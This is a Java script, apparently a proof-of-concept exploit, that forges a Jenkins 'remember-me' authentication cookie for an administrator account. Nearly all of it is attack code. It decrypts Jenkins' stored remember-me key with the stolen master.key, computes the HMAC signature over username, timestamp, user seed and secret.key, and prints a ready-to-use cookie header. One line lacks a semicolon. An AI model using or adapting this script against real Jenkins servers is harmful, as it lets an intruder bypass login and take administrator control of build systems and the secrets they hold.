Jenkins Forging remember-me cookie

Main.java

// Sorry about my spaghetti code
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.security.GeneralSecurityException;
import java.security.InvalidKeyException;
import javax.crypto.SecretKey;
import java.security.NoSuchAlgorithmException;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.SecretKey;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.SecretKey;
import java.io.File;
import hudson.Util;
import hudson.util.Secret;
import hudson.util.TextFile;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.file.Files;
import java.util.Base64;

public class Main {

    public static void main(String[] args) throws GeneralSecurityException, IOException {

        byte[] ass = "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII);
        for (byte b : ass) {
            //System.out.print(b + " ");
        }

        ////////////////////////////// GIVE ME SOME INFO //////////////////////////////
        SecretKey masterKey = Util.toAes128Key("<master.key>");
        Cipher sym = Secret.getCipher("AES");
        sym.init(2, masterKey);
        InputStream fis = Files.newInputStream(Path.of("<path to binary remember>"));
        //////////////////////////////////////////////////////////////////////////////
        CipherInputStream cis = new CipherInputStream(fis, sym);
        byte[] bytes = cis.readAllBytes();
        byte[] var7;
        int payloadLen = bytes.length - "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII).length;

        byte[] truncated = new byte[0];
        if (payloadLen < 0) {
            System.out.println("ngu");
        } else {
            for (int i = 0; i < "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII).length; ++i) {
                if (bytes[payloadLen + i] != "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII)[i]) {
                    System.out.println("wtf");
                }
            }

            truncated = new byte[payloadLen];
            System.arraycopy(bytes, 0, truncated, 0, truncated.length);
           
            for (byte b : truncated) {
                //System.out.print(b + " ");
            }
            System.out.println();
        }

        ////////////////////////////// GIVE ME SOME INFO //////////////////////////////
        StringBuilder buf = new StringBuilder();
        String username = "<admin username>";
        String timestamp = "<some timestamp>";
        String userSeed = "<userSeed>";
        String secretKey = "<secret.key>"
        String usertoken = username + ":" + timestamp + ":" + userSeed + ":" + secretKey;
        byte baaaa[] = usertoken.getBytes();
//        for (byte b : baaaa) {
//            System.out.print(b + " ");
//        }
        //////////////////////////////////////////////////////////////////////////////
        System.out.println();
        Mac mac = Mac.getInstance("HmacSHA256");

        SecretKeySpec secretKeySpec = new SecretKeySpec(truncated, "HmacSHA256");
        mac.init(secretKeySpec);

        byte[] macResult = mac.doFinal(baaaa);
        for (byte b : macResult) {
            //System.out.print(b + " ");
        }
        for (byte b : macResult) {
            int unsignedByte = b & 0xff;
            if (unsignedByte < 16) {
                buf.append('0');
            }
            buf.append(Integer.toHexString(unsignedByte));
        }
        System.out.println("[+] Foring remember-me cookie...");
        System.out.println("[+] Timestamp: " + timestamp);
        System.out.println("[+] signatureValue created: " + buf);
        System.out.println();
        String result = username + ":" + timestamp + ":" +  buf;
        byte[] encodedBytes = Base64.getEncoder().encode(result.getBytes());
        System.out.println("[+] Cookie: " + result);
        System.out.println("Cookie: remember-me=" + new String(encodedBytes));
    }

}